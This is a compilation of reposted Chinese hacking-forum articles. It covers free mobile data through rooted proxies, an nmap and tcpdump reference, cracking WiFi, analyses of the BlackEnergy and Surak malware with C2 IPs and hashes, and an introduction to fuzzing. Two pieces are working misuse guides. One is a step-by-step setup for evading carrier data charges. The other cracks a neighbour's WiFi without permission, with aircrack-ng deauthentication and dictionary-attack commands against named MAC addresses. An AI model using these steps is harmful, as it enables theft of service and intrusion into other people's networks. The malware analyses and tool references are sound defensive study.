　　有些软件安装不成功，可能是版本有问题，或者是直接上群里问我。

　　三，安装软件步骤

　　需要的软件，一个一个安装就行。

　　1，Root explore

　　2，busybox

　　3，终级防跳

　　4，Samp

　　

　　软件都上传到华盟7群的Qq群里了，

　　免流 MIANLIU=让运营商不扣流量or扣很少流量(1G扣1m以下为正常)

　　免流的方案 很多 有 hap samp 小枫冕旒 fmns ....

　　讲讲samp

　　首先你的手机要ROOT ROOT ROOT (没root的请用hap免root启动 直免原生浏览器的流量)

　　SAMP全局免流详细教程】

　　准备工作 放跳脚本 (我用的是终极防跳7.0 ，当然你也可以用扫地僧 ps：这两个脚本最新版都有软件版)下载busybox 下载es浏览器 下载root浏览器

　　1.下载busybox。建议使用我提供的，稳定，安装后在busybox看到顶部那里等它加载到100%再点击下面的安装，千万别一进去就点安装，安装好了就行了。

　　2.新建一个接入点

　　移动

　　apn: cmwap *** 127.0.0.1 端口60880

　　联通

　　apn: 3gwap *** 127.0.0.1 端口60880

　　

　　3.安装samp，并给root权限。原来的模式删掉换成下面的模式。

　　终极防跳7教程如下：

　　1下载终极防跳7

　　2解压终极防跳7把模块里面6个0开头的文件移动到stsyem/xbin里，权限7777全满

　　3找到解压文件夹里有两个文件，是终极放跳的开始和关闭分别复制到samp定义脚本的两个框里，

　　4进入samp改全局 *** uid为你自己samp的uid。不知道可以在samp定义脚本里下面的appuid里看，把看到的全局 *** uid填到那里 *** 和端口是127.0.0.1和60880或者8787 .其他不用改。保存。

　　

　　这个appuid 在那里看，可以samp里面有的，samp是破解版，先登陆之后，点自定义脚本，里面有appuid，你看到一下samp的uid，填写到全局uid就行

　　

　　5htp(决定你面部面流的关键，自己去网上找可以冕旒的)选择自己可以用的，然后保存 在samp的个人设置中的四个选项全打勾

　　

　　6启动samp 点击启动服务 完成后 再点击执行脚本 在浏览器中输入cs.baidu.com 如果返回为 *** ok 说明你的samp配置成功

　　7把samp加入白名单 避免杀软和管家误杀

　　8至于免刘成功没自己测试，省份不同 ，冕旒的htp可能不同

　　四，设置免流模式

　　前面都差不多，联通，移动，免流模式不对，免流是不会成功的，

　　

　　这个模式，还老更新，

　　你都设置好之后，先开启3G，4G，接着开启终极防跳，最后打开samp，启用服务。

　　五，测试免流是否成功，

　　一，你先访问cs.baidu.com

　　二，你访问m.baidu.com

　　如果你软件都安装上了，也开启了，上不去网，一般都是模式不对，或者appuid填写不对，你们检查 一下。

　　

　　

　　如果你这都能上了，说明已经可以 *** 上网了，下面要验证一下上网是不是花流量，

　　你开启免流，完了自己查流量你应当会吧，自己查查流量就知道了。

　　下面是成功的验证免流图，

　　

　　

　　

　　实时证明，你可以4G上网不花钱流量不走钱。是薅社会主义羊毛。

　　六，相关软件下载。

　　一共就用到四个软件，

　　

　　已经整理都传到华盟 *** 群共享里了，你可以加入下载，

　　华盟--黑白之道⑦ 9430885

　　1，Root explore

　　2，busybox

　　3，终级防跳

　　4，Samp

　　总结，有些地方可以直接名流，北京好像就不行，不过你学点知识，为自己省点流量费，不也顶好的吗

　　免流也不是一点流量都不花，原来你用2G流量，现在用完免流之后，可以也就跑10～100M。

　　会不会被查水表，我这个还真不知道，不过中国流量费怎么贵，用技术手段变相降低流量资费应当顺应民心吧。

　　最后，有奖活动开始，分享到朋友圈，点赞，50个，发过微信图，让人帮你找免流模式，移动，电信都可以的。

　　评论前5名精选，送北京联通免流模式，我自己用的，能成功。

　　原文地址:

　　

　　手机在连接“问题”充电宝后，会弹出“信任”和“不信任”选项，碰到这种情况不要点击“信任”选项。

　　

　　充电宝也可能盗取手机里的隐私信息！

　　（WIFI在召唤，上我，上我~）

　　视频地址：

　　

　　猜一猜

　　据说，下图是一张神奇的图片，里面包含了很多信息。你能看出它的含义吗？

　　

　　正确答案：吊死（ *** 丝），球（求），鱼（欲），女

　　以下是网友上墙，各种脑洞大开：

　　

　　原文地址:

　　这是一些很形象、生动、有趣的可视化记录。所有在地图上展示的大都是来自真实的生活目标、“蜜罐”和安全公司部署的“诱饵系统”收集的，其中有来源、攻击方式以及攻击频率。

　　此外，地图中显示破坏系统的“攻击方”组织通常是从别的某个地方发起的，也就是说你所看到的“攻击源”很可能只是攻击者的一个攻击“跳板”，并非真实发起地，真正幕后攻击者会用多重伪造技术，隐藏的很深。

　　FireEye公司“ *** 威胁地图”

　　直接上图，下面的“ *** 威胁地图”讲述的就是一个真实故事，是FireEye曾透露的某组织对零售商和它们的信用卡系统发起的 *** 攻击！此时你脑海会想起什么呢？一定会想起洲际导弹导弹！没错，还记得1984年的《战争游戏》中出现的北美防空司令部的监视器画面吗？地图上并没有太多的原始数据，但是看起来的确很有趣有木有！

　　

　　FireEye的“ *** 威胁地图”

　　穿越：

　　挪威公司的IPViking地图：Eye candy-addictive

　　下面一幅来自挪威公司的IPViking地图更有炫酷了，它包含每个相关攻击的丰富数据，比如攻击组织名称和 *** 地址，攻击目标所在城市、被攻击的服务器。还列举出最容易受攻击的国家，和最喜欢发起攻击的国家（细心的读者会发现，天朝与米国常常各登榜首，小编想这并不公平，或许另有目的…）

　　

　　挪威的IPViking攻击地图：Eye candy-addictive

　　穿越：

　　来自Arbor Networks由全球270个ISPs匿名分享流量的“数字攻击地图”

　　另一个有趣的,包含大量攻击信息的追踪系统当属Arbor Networks的“数字攻击地图”。地图中的数据来源于美联储，其中的 *** 攻击流量都是由全球270多个ISP客户统计并同意匿名分享的。这个服务提供商可真是提供了真正实用的服务啊，因为它可以帮你及时追查先前的 *** 攻击，最早可追溯到2013年的6月！

　　

　　来自Arbor networks的由全球270个ISPs匿名分享流量的“数字攻击地图”

　　穿越：

　　最像视频游戏的卡巴斯基(Kaspersky)“ *** 实时地图”

　　卡巴斯基的“ *** 实时地图”还有更好玩的地方，与其他系统相比，它最像一个交互式视频游戏了。你所看到的千变万化的数据是由卡巴斯基实验室各种扫描服务器提供的，因此，这也具有了一定灵活性，你可以布局自定义扫描，过滤某些恶意威胁，如E-mail恶意软件，Web site攻击、扫描等等。

　　

　　最像视频游戏的卡巴斯基(Kaspersky)的“ *** 实时地图”

　　穿越：

　　Anubis Networks的Cyberfeed带你巡视全球恶意软件感染现状

　　它使用类似谷歌地球的表现形式，地图数据是来自已知的著名恶软件家族，它展示更多是恶意软件感染地图，而不像 *** 攻击地图，也不是十分互动的。在这一方面，它很像芬兰公司的f-secure，趋势科技的“全球僵尸 *** 威胁活动地图”和Team Cymru的“ *** 恶意活动地图”(下面都有介绍）。

　　

　　Anubis Networks的Cyberfeed带你进行巡视全球的恶意软件感染现状

　　穿越：

　　Team Cymru的“ *** 恶意活动地图”

　　这张地图也有电影版本的，你可以下面的格式:

　　H.264/MPEG-4 (~2MB)

　　Windows Media (~7MB)

　　MPEG-2 (~2MB)

　　电影版本连同下面的图片每天都更新。

　　

　　穿越：

　　电影版本：

　　趋势科技“全球僵尸 *** 威胁活动地图”

　　

　　穿越：

　　蜜网项目（Honeynet Project）“蜜蜂地图(Honey Map)”

　　蜜网项目（Honeynet Project）的“蜜蜂地图”，它看起来不是超级"性感"，但是它的实时威胁蜜罐系统的里含有相当数量的有用信息，其中就包含Virustotal对每一个威胁和攻击中恶意软件分析的链接。

　　

　　蜜网项目（Honeynet Project）的“蜜蜂地图（Honey Map）”

　　穿越：

　　OpenDNS实验室作品

　　此外再加一个OpenDNS实验伙伴们“绘制”的一个图文并茂的 *** 攻击追踪地图。

　　

　　OpenDNS全球 *** 概览

　　穿越：

　　Nexusguard Hubble更闪亮

　　

　　闪亮动态地图From hubble.nexusguard.com

　　穿越：

　　原文地址:

　　1、NMap工具

　　主要功能：探测主机是否在线、扫描主机开放端口和嗅探 *** 服务，用于 *** 探测和安全扫描。

　　NMap 支持很多扫描技术，例如：UDP、TCPconnect()、TCPSYN(半开扫描)、ftp *** (bounce)、反向标志、ICMP、FIN、ACK扫描、SYN扫描和null扫描。

　　命令格式 ：Nmap [ 扫描类型 ] [ 通用选项 ] { 扫描目标说明 }

　　扫描类型:

　　-sT

　　TCP connect()扫描，这是最基本的TCP扫描方式，用来建立一个TCP连接，如果成功则认为目标端口正在监听，否则认为目标端口没有监听程序。这种扫描很容易被检测到，在目标主机的日志中会记录大批的连接请求以及错误信息。

　　-sS

　　TCP同步扫描(TCP SYN)，只向目标发出SYN包，如果收到SYN/ACK响应包就认为目标端口正在监听，并立即断开连接；否则认为目标端口没有监听程序。所以这项技术通常称为半开扫描(half-open)。这项技术更大的好处是，很少有系统能够把这记入系统日志。不过，你需要root权限来定制SYN包。

　　-sF,-sX,-sN

　　秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式。这些扫描方式的理论依据是：关闭的端口需要对你的探测包回应RST包，而打开的端口必需忽略有问题的包，通过这种扫描，可间接用于检测防火墙的健壮性。

　　-sP

　　ping扫描，用ping方式检查 *** 上哪些主机正在运行。当主机阻塞ICMP echo请求包是ping扫描是无效的。nmap在任何情况下都会进行ping扫描，只有目标主机处于运行状态，才会进行后续的扫描。

　　-sU

　　UDP扫描，如果你想知道在某台主机上提供哪些UDP服务，可以使用此选项。

　　-sA

　　ACK扫描，这项高级的扫描 *** 通常可以用来穿过防火墙。

　　-sW

　　滑动窗口扫描，非常类似于ACK的扫描。

　　-sR

　　RPC扫描，和其它不同的端口扫描 *** 结合使用。

　　-b

　　FTP反弹(bounce attack)，连接到防火墙后面的一台FTP服务器做 *** ，接着进行端口扫描。

　　通用选项:

　　-n

　　不做反向DNS解析，以加快扫描速度

　　-P0

　　在扫描之前，不ping主机；有些 *** 防火墙可能禁止ICMP请求包，使用这种扫描类型可以跳过ping测试

　　-PT

　　扫描之前，使用TCP ping确定哪些主机正在运行。

　　-PS

　　对于root用户，这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。

　　-PI

　　设置这个选项，让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。

　　-PB

　　这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包，使用这种 *** ，你就能够穿过防火墙。

　　-O

　　这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描，获得远程主机的标志，也就是操作系统类型。

　　-I

　　打开nmap的反向标志扫描功能。

　　-f

　　使用碎片IP数据包发送SYN、FIN、XMAS、NULL。包增加包过滤、检测系统的难度，使其无法知道你的企图。

　　-v

　　强烈推荐使用这个选项，它会给出扫描过程中的详细信息。

　　-S

　　在一些情况下，nmap可能无法确定你的源地址(nmap会告诉你)。在这种情况使用这个选项给出你的IP地址。

　　-g port

　　设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接。显然，如果者把源端口修改为20或者53，就可以摧毁防火墙的防护。

　　-oN

　　把扫描结果重定向到一个可读的文件logfilename中。

　　-oS

　　扫描结果输出到标准输出。

　　-A

　　打开操作系统探测和版本探测。

　　扫描目标:

　　目标地址

　　可以为IP地址，CIRD地址等。如192.168.1.2，222.247.54.5/24

　　-iL filename

　　从filename文件中读取扫描的目标。

　　-iR

　　让nmap自己随机挑选主机进行扫描。

　　-p

　　端口，这个选项让你选择要进行扫描的端口号的范围。可使用逗号分隔多个端口，减号连接一个端口范围，在列表前指定T：表示TCP端口，U：表示UDP端口

　　-exclude

　　排除指定主机。

　　-excludefile

　　排除指定文件中的主机。

　　端口的三种状态： Open：意味着目标主机能够在这个端口使用accept()系统调用接受连接。 filtered：表示防火墙、包过滤和其它的软件掩盖了这个端口，禁止nmap探测其是否打开。 unfiltered：表示这个端口关闭，并且没有防火墙/包过滤软件来隔离nmap的探测企图。举例说明：

　　1 、探测指定网段是否有FTP服务的主机，不做DNS反向解析

　　nmap -sS n p 21192.168.0.0/24

　　2、 探测指定服务器是否启有特定端口的服务

　　nmap n p T:21-25,80,110,3389sS 192.168.0.1

　　3、 使用TCP连接扫描探测指定服务器，即使无法ping通也仍然继续探测

　　4、 nmap -sT PO 192.168.0.1

　　5、 探测指定服务器的操作系统类型

　　nmap O n 192.168.0.1

　　6、 探测局域网段中各主机开启了哪些服务

　　nmap sS 192.168.0.0/24

　　7、 探测192.168.0.0和172.16.0.0/16网段中有哪些主机在运行

　　nmap sP n 192.168.0.0/24 172.16.0.0/16

　　8、快速扫描主机开放端口

　　nmap -F 192.168.0.1

　　2、TCPDump工具

　　主要功能：捕获和分析数据包。

　　TcpDump 可以将 *** 中传送的数据包的“头”完全截获下来提供分析。它支持针对 *** 层、协议、主机、 *** 或端口的过滤，并提供 and、or、not等逻辑语句来帮助你去掉无用的信息。

　　命令格式：tcpdump [ 选项 ] [ -c 数量 ] [ -i *** 接口 ] [ -w 文件名 ] [ 表达式 ]

　　常用选项：

　　-l：使标准输出变为缓冲行形式； -c：抓包次数； -nn：直接以 IP 及 Port Number 显示，而非主机名与服务名称； -s ： 设置每个数据包的大小； -i：指定监听的 *** 接口； -r：从指定的文件中读取包； -w：输出信息保存到指定文件； -a：将 *** 地址和广播地址转变成名字； -d：将匹配信息包的代码以人们能够理解的汇编格式给出； -e：在输出行打印出数据链路层的头部信息； -f：将外部的Internet地址以数字的形式打印出来； -t：在输出的每一行不打印时间戳； -v ：输出稍微详细的报文信息；加一个v更详细。

　　四种表达式：过滤报文条件

　　1、关于类型的关键字，主要包括host，net，port, 例如 host210.27.48.2，指明 210.27.48.2是一台主机，net 202.0.0.0 指明202.0.0.0是一个 *** 地址，port 23 指明端口号是23。如果没有指定类型，缺省的类型是host。

　　2、确定传输方向的关键字，主要包括src, dst ,dst or src, dst and src ,这些关键字指明了传输的方向。例如 src210.27.48.2 ,指明ip包中源地址是210.27.48.2, dst net 202.0.0.0 指明目的 *** 地址是202.0.0.0 。如果没有指明方向关键字，则缺省是src or dst关键字。

　　3、协议的关键字，主要包括ip,arp,tcp,udp等类型。

　　4、三种逻辑运算，与运算是’and’,'&&’; 或运算是’or’ ,’||’； 非运算是 ‘not ‘ ‘! ‘。

　　其他重要的关键字如下： broadcast,less（小于）,greater（大于）

　　举例说明：

　　1、 截获eth0网卡10次收发所有数据包并将抓包结果保存到test文件,再读取test抓包结果文件

　　tcpdump i eth0 c 10 w test

　　tcpdump r test

　　2、 截获来访问80端口的所有数据包（指定端口范围portrange 1-1024）

　　tcpdump port 80

　　3、 截获所有来自主机114.254.151.51的进出所有数据包

　　tcpdump host 114.254.151.51

　　4、 截获ip包中源地址是114.254.151.51的（目的是dst）

　　tcpdump src 114.254.151.51

　　5、 截获主机114.254.151.51和主机114.254.151.52的通信

　　tcpdum host 114.254.151.51 and 114.254.151.52

　　6 、截获tcp协议并且源地址114.254.151.51来访问80的端口

　　tcpdump tcp and src 114.254.151.51 and port 80

　　7、 截获主机114.254.151.51除了和114.254.151.52之外的所有ip包

　　tcpdump ip host 114.254.151.51 and ! 114.254.151.52

　　8、 截获长度大于1000数据包,对于DDOS攻击时，可以使用

　　tcpdump -i eth0 greater 1000

　　原文地址:

　　昨晚上下班回家没想到网费到期了，苦逼的一大半夜的11点，又是冬天，用脚字头想都知道那个点去交网费是没戏了。哎，只好找邻居蹭网了。莫怪 莫怪!

　　打开笔记本选择kali直接进系统，右键直接调出命令，输入 aircrack-ng

　　

　　接着将网卡设置为监听模式： airmon-ng start wlan0 (wlan0是我的网卡，你的机器要是网卡多可能是其他的)

　　

　　接下来就是去嗅探了。输入airdump-ng mon0 然后回车

　　

　　看到没，上面就显示出了已经被发现了的几个无线路由器的mac以及路由器的名字，这里我的目标是0C:72:2C:CC:FD:A6，工作频道CH为11，已连接的无线客户端MAC是 C4:8E:8F:61:18:DB。没办法，谁让他信号好呢。嘿嘿嘿

　　这个时候要做的就是抓包了，输入airodump-ng - - ivs–w acc –c 6 mon0

　　

　　这个命令是这么个意思：

　　--ivs 这里的设置是通过设置过滤，不再将所有无线保存，而只是保存可用于破解的IVS报文，这样可以有效地缩减保存的数据包大小;

　　-c 这里我们设置目标AP的工作频道，通过刚才的观察，我们要进行测试的无线路由器工作频道为6;

　　-w 后跟要保存的文件名，这里w就是“write写”的意思，也就是命名生成抓到的数据包，如下图10所示我这里就写为longas。那么，小黑们一定要注 意的是：这里我们虽然设置保存的文件名是longas，但是生成的文件却不是longase.ivs，而是longas-01.ivs(抓到的数据包是到后面进行导出数据破解无线使的)

　　正常情况下我们去等待工具慢慢收 *** 疯掉的，除非是数据量大，如无线路由上的的机器有人在看视频或者或者其他的，不然其他的会数据比较小收集起来也很慢，所以就使用下面的deauth模式

　　airepaly-ng -0 10 –a 0C:72:2C:CC:FD:A6 –c C4:8E:8F:61:18:DB mon0 –ignore-negative-one进行deauth

　　

　　(-0 10指的是使用deauth攻击模式攻击10次。你觉得少也可以设置大一点;-a后面接的是目标路由器的mac;-c后面接的是主机的mac)

　　这个时候你要是反过头去看你之前做的前几部你会发现你所攻击的目标的数据得飞涨，嘿嘿嘿，是不是很好使呢!

　　数据包收集好之后就要进行最后激动人心的一步了，那就是把抓到的数据导出来重放破解密码

　　然后aircrack-ng –w 字典 *.ivs (字典放到文件系统根目录下就行)

　　

　　破解完成 KEY FOUND[ 123456789 ],我看到密码的瞬间有一种想死的冲动，看图就知道了

　　

　　此时此刻内心已被一群土牛虐过无数次，不说了，bye-bye

　　原文地址:

　　事件回顾

　　2016年1月6日，据英国《金融时报》报道，上周乌克兰电网系统遭，数百户家庭供电被迫中断，这是有史以来首次导致停电的 *** ，此次针对工控系统的攻击无疑具有里程碑意义，引起国内外媒体高度关注。

　　据iSight Partners *** 间谍负责人约翰胡尔特奎斯特(John Hultquist)表示，本次攻击来自俄罗斯组织，使用的恶意软件被称为BlackEnergy（黑暗力量）。

　　Black Energy简介

　　Black Energy（黑暗力量）最早可以追溯到2007年，由俄罗斯地下黑客组织开发并广泛使用在BOTNET，主要用于建立僵尸 *** ，对定向目标实施DDoS攻击。

　　此后，Black Energy的攻击开始转向政治目标，在2008年，俄罗斯与格鲁吉亚冲突期间黑客组织利用Black Energy曾一度攻击格鲁吉亚 *** 。自2014年夏季，陆续从乌克兰 *** 及企事业单位截获Black Energy样本，可以预见其矛头开始瞄准乌克兰 *** 组织，并主要用于机密信息窃取和持续攻击。

　　Black Energy有一套完整的生成器，可以生成感染受害主机的客户端程序和架构在C&C (指挥和控制)服务器的命令生成脚本。攻击者利用这套黑客软件可以方便地建立僵尸 *** ，只需在C&C服务器下达简单指令，僵尸 *** 受害主机便统一执行其指令。

　　经过数年的发展，Black Energy逐渐加入了Rootkit技术，插件支持，远程代码执行， 采集等功能，已能够根据攻击目的和对象，由黑客来选择特制插件进行APT攻击。进一步升级，包括支持 *** 服务器，绕过用户账户认证（UAC）技术，以及针对64位windows系统的签名驱动等等。

　　Black Energy攻击过程

　　

　　Black Energy感染流程

　　上图展示了Black Energy目标主机的过程。黑客通过收集目标用户邮箱，然后向其定向发送携带恶意文件的Spam邮件，疏于安全防范的用户打开了带宏病毒的Office文档（或利用Office的文档）即可运行Installer（恶意安装程序），Installer则会释放并加载Rootkit内核驱动，之后Rootkit使用APC线程注入系统关键进程svchost.exe（注入体main.dll），main.dll会开启本地 *** 端口，使用HTTPS协议主动连接外网主控服务器，一旦连接成功，开始等待黑客下发指令就可以其他黑客工具或插件。

　　相关样本分析

　　此次袭击事件发生后，金山安全反病毒实验室之一时间从各个渠道采集到在乌克兰爆发的BlackEnergy样本。

　　从样本中分析得到样本连接恶意IP如下：

　　5.9.32.230

　　31.210.111.154

　　88.198.25.92

　　

　　

　　

　　事件发生之后，这3台服务器已经无法正常连接，其中截获的HTTPS POST请求URL：

　　

　　

　　同时，实验室截获的Black Energy样本经过验证，均可在32位的XP – 8.1系统上正常运行。

　　

　　恶意样本伪装为微软 USB MDM Driver 驱动文件，但缺乏数字签名

　　

　　驱动被Installer加载后，首先执行解压脱壳，然后创建设备驱动，名字为：/DosDevice/{C9059FFF-1C49-83E8-4F16387C720}，用来与用户端（main.dll）通信。

　　

　　

　　

　　随后，驱动开始向svchost.exe申请内存空间并写入shellcode，再通过APC线程注入方式注入svchost.exe。

　　APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制，并以此去执行我们的DLL加载代码，进而完成DLL注入的目的。

　　

　　注入的shellcode与Rootkit代码，黑客统一使用了通过压栈API函数的HASH值，调用_GetFuncAddr动态获取API函数地址，用来干扰和对抗逆向分析

　　

　　由APC注入的线程会启动一个主线程

　　

　　与Rootkit内核模块建立通信

　　

　　连接C&C服务器，不知是不是事件发生之后，该IP就再也连不上了

　　

　　上图是与C&C服务器通信的控制指令

　　至此，Black Energy整体攻击架构已经呈现出来，一旦用户机器被渗透攻击成功，黑客便可轻易控制并实施具体攻击。也证明了在此次乌克兰电网断电事件，Black Energy完全有能力实施精确打击。

　　防御Black Energy

　　

　　针对Black Energy的攻击过程可以在三个阶段进行有效拦截。首先，用户接收到邮件时对邮件内包含的所有文件进行动态行为鉴定，一旦判定文件具有恶意行为会将其删除或隔离。第二，对系统关键进程进行监控，一旦发现可疑操作立即阻断其执行。第三，阻断恶意代码对外连接，设置一个IP黑白库对系统外连的ip地址进行过滤，拦截与恶意服务器交互的所有 *** 包。

　　总结

　　乌克兰电厂遭袭事件是之一次经证实的计算机恶意程序导致停电的事件，证明了通过 *** 攻击手段是可以实现工业破坏的。虽然针对工控系统的保护早已提上日程，目前国内也没有发生类似攻击，但此次事件再次给相关部门敲响警钟。未来安全形势必将越来越严峻，需要相关各方严格部署措施，加强 *** 安全防范。

　　原文地址:

　　0x00 引言

　　刚重装的系统就中毒了，这是很多网友常常遇到的事，难道是中了引导区木马甚至bios中毒其实没那么复杂，很可能是你安装的系统自带了木马。

　　0x01 “苏拉克”木马简介

　　“苏拉克”木马是2015下半年来持续爆发的木马，该感染了大量的计算机，其主要传播释放是直接在ghost镜像中植入，然后将ghost镜像上传到大量网站提供给用户，此外，近期也发现该木马的win8、win10版本通过oem激活工具植入用户电脑中。由于该木马的主要模块名为“surak.sys”，且通过分析得知该木马的项目名称即为“surak”，因此将其取名“苏拉克”木马。

　　0x02 “苏拉克”

　　木马特点传播渠道隐蔽，由于该木马被直接植入到ghost镜像中，用户一安装系统就自带该木马，而此时尚未安装任何安全软件，因此木马的传播过程完全不在监控中。影响用户多，由于大量网站传播该类ghost镜像，且此类网站投入了大量推广费进行推广，普通用户通过搜索引擎找到的镜像站几乎全是带木马的。此类镜像涵盖了“雨林木风”、“深度技术”、“电脑公司”、“萝卜家园”、“番茄花园”等主流ghost。难以清除，由于木马进入系统时间比安全软件早，掌握了主动权，对其后安装的安全软件做了大量的功能限制，使其大量功能无法正常使用，如安全防护无法开启、信任列表被恶意操作等，导致难以检测和清除木马。对用户电脑安全威胁大，“苏拉克”木马除了锁定浏览器主页获利外，还会实时连接云端获取指令，能够其它木马到本地执行，给造成了极大的威胁。此外，针对64位系统，该木马还会修改系统内核文件，使得64位系统自带的驱动签名校验、内核防钩子等安全机制全部失效。

　　

　　图1. “苏拉克”木马产业链示意图

　　0x03 “苏拉克”木马行为分析

　　“苏拉克”木马的功能主要分为4大模块，即内核Rootkit模块、应用层主体模块、应用层加载器模块、应用层上报模块。模块分工明确，可扩充性强，配置灵活，且所有的通讯都使用高强度加密算法加密(AES & RSA)，该木马有xp版、win7版、win8版、win10版，除xp版外其它版本又分为32位版本和64位版本，每个版本功能基本一致，以下以xp 版本为例进行分析，其它版本行为类似。

　　通过各个模块分工协作，该木马完成了主页锁定、云端控制、插件下载、对抗安全软件等功能。

　　

　　1、启动模块行为(MD5：a3c79b97bdea22acadf951e0d1b06dbf)

　　qidong32.dll的功能单一，其被注册成系统组件，开机时随系统启动，由Explorer.exe进程加载执行。该文件被加载后首先判断自己是否位于explorer.exe进程或者regsvr32.exe进程中，若是，则启动system32/drivers/UMDF /boot.exe文件。该文件是木马的主体文件，预置在带毒的Ghost系统中。

　　

　　图3

　　

　　图4

　　2、主体模块行为(MD5：bf47d80de3852e7ef6b86ac213e46510)

　　Boot.exe文件是该木马的主体模块，主要负责定时从云端下载最新的配置信息及负责其它模块的调度、插件下载、传递等。

　　运行后首先从云端下载文件，该文件使用AES加密，密钥为 “DownloadKey”，顾名思义该配置文件与下载相关，解密后的该文件如图5所示，主要包含要下载的文件列表、文件类型、本地存储路径等。

　　

　　图5.解密后的2.0xpFileList.dl

　　解析配置文件，并进行相应的下载，下载完成后根据类型进行Load或者Exec。

　　

　　图6

　　完成以上行为后，将下载成功后的文件路径按一定格式存储，并使用AES加密(密钥：dl_encrypt)存储在C:/windows/System32/drivers/UMDF/dllist文件中，即插件列表。

　　

　　图7. 存储插件列表

　　下载到内存中，该文件是木马的配置文件，下载后计算配置文件的MD5值，并与C:/Windows/System32/drivers/UMDF/hash/config中存储的值进行比较，以判断配置文件是否更新，如果更新则将其传给surak.sys。

　　

　　图8. 下载配置文件并比较MD5

　　该配置文件分为三部分，分别使用AES进行加密，密钥均为“ConfigEncryptKey”，解密后的单个配置信息结构大致如图9所示。

　　

　　图9. 配置信息结构

　　配置文件对应的木马功能分别如下：

　　注册表隐藏：阻止列表进程访问指定的注册表路径(图10)文件隐藏拦截驱动加载：阻止列表进程访问指定文件，拦截指定驱动加载(图11、13)进程隐藏三部分：当列表进程枚举系统进程列表时隐藏指定进程(图12)

　　

　　图10. 注册表相关的配置信息

　　

　　图11. 文件操作相关的配置信息

　　

　　图13. 阻止驱动加载的相关配置信息

　　解密完配置文件后，依次将其加密后传递给内核surak.sys完成相应功能。

　　

　　图14. 将配置信息传递给surak.sys 3、Rootkit模块行为(MD5：8bb5cdc10c017d0c22348d2ada0ec1dc)

　　挂钩NtQuerySystemInformation函数，对应隐藏进程功能。在win7等64位系统中，由于“苏拉克”木马patch了系统的内核文件，因此挂钩此函数也不会引起蓝屏。

　　

　　图15

　　注册LoadImage回调，通过此回调函数，拦截指定sys文件加载，其拦截方式直接将DriverEntry初代码改成返回指令。

　　

　　图16

　　注册CmpCallback回调，对应注册表隐藏功能。

　　

　　图17

　　挂钩IofCallDriver、IoCreateFileSpecifyDeviceObjectHint，对应文件隐藏功能

　　

　　图18

　　

　　图19. 在x64版本的系统中，为了能够Hook内核，系统的内核文件被篡改 4、上报模块行为(MD5：595738d7ca9291a3d3322039bb4dc960)

　　tj.dll文件主要用于上报，其主要功能是收集机器信息、木马版本信息、木马配置信息等，使用RSA做非对称加密，将信息上传到服务端。

　　

　　图20 5、木马其它模块(插件)行为

　　ielock32.dll(MD5：fadb57ff6fbfaf5f7f09e83d0de4a2ed)用于锁定浏览器主页。该文件插入到explorer中，并通过挂钩进程创建函数，以添加命令行的方式锁主页。

　　subooa.sys、suboob.sys、subooc.sys(MD5：e94faf79a7681b33b903cceb1580d7c4)这三个驱动文件都会被加载到内核中，但只是一个空的工程，未见恶意代码。

　　0x04 传播渠道探索

　　“苏拉克”直接植入到ghost系统镜像中，其传播渠道主要是通过推广ghost系统传播扩散。从10月份以来，反病毒实验室监控到大量的传播带毒镜像的网站，此类网站一般伪装成“系统之家”网站，并通过搜索推广或者直接刷搜索引擎来使自身排名靠前。此外各大装机相关的论坛，布满了带毒ghost系统的推广帖，吸引大量网友上钩。

　　

　　图22. 通过广告或者刷排名来使自己排名靠前

　　

　　图23. 通过论坛发帖推广带毒ghost系统

　　0x05 结语

　　随着安全软件的普及和防护能力的强化，木马想绕过安全软件的防护深入用户系统变得非常困难，因此黑产从业者们想方设法让自己先于安全软件进入用户的系统，并借先入之机大肆破坏后来安装的安全软件，从而达到霸占用户电脑并利用用户电脑实现盈利的目的。近期，腾讯反病毒实验室对通过国内各大搜索引擎查找 “ghost”、“ghost xp”、“ghost win7”等关键词排名前10的ghost镜像全部进行下载安装分析，发现90%以上的ghost镜像都是带有木马的。管家在此建议用户选择正规渠道安装操作系统，通过下载ghost镜像安装系统虽然快速省事，但其安全性，确实很令人担忧。

　　0x06 附录

　　目前已经发现通过各种渠道推广的带毒ghost镜像下载站列表，目前管家已拦截相关网站，大家下载相关文件时注意避开这些网站。

　　

　　原文地址:

　　

　　前段时间一直在研究fuzz工具，这里就写篇文章总结一下下。

　　在安全测试中，模糊测试（fuzz testing）是一种介于完全的手工与完全的自动化测试之间的安全性测试类型。能够在一项产品投入市场使用之前对潜在的应当被堵塞的渠道进行提示。

　　模糊测试（fuzz testing)和（penetration test）都是属于安全测试的 *** ，它们有同也有异，一般是模拟恶意的方式对产品进行测试，对测试者的执行力要求很高，成本高，难以被大规模应用。而模糊测试，它能够充分利用机器本身，随机生成和发送；与此同时，又能够引进业内安全专家在安全性方面的建议。模糊测试其具有不确定性，也没有明显的针对性，简单来说就是没有逻辑，没有常理。只要将准备好的那些杂乱的程序插入其中，然后等待bug的出现，而出现的是测试员们先前无法预知的。

　　模糊测试的执行过程很简单，大致如下：

　　1、准备好随机或者半随机方式生成的数据；

　　2、将准备好的数据导入被测试的系统；

　　3、用程序打开文件观察被测试系统的状态；

　　4、根据状态判断是否存在漏洞。

　　由此可见，模糊测试deep整个执行过程是依靠工具进行的自动化或半自动化测试。通常在这种情况下，我们可以引入模糊测试的 *** 。我们尝试抓取到客户端和服务器之间的通信数据，根据抓包出来的这些数据分析出客户端与服务器之间的通信协议，然后根据协议的定义，自行编造数据发起，尝试找到可能的。相比于直接看targetserver进行代码审计成本要低，而这种关注协议层面的，其效率更高。但是，这种测试 *** ，若要进行协议分析难度会很大，而且，人工编造数据成本很高。所以，我们就可以引入fuzz testing，机器生成和发送数据的能力足够强，我们可以将生成数据的任务交给机器去完成，解决了人工编造数据成本高的问题。当然，协议的分析主要还是依赖人工来进行，模糊测试领域内有一些自动化的协议分析手段，但从效率和效果上来说，在面对复杂协议的时候，人工分析的方式更为有效。

　　不扯废话，这里直接上工具，具体的测试流程大家有兴趣的可以看看《模糊测试——强制发掘安全漏洞的利器》这本书，书中有详细的介绍。

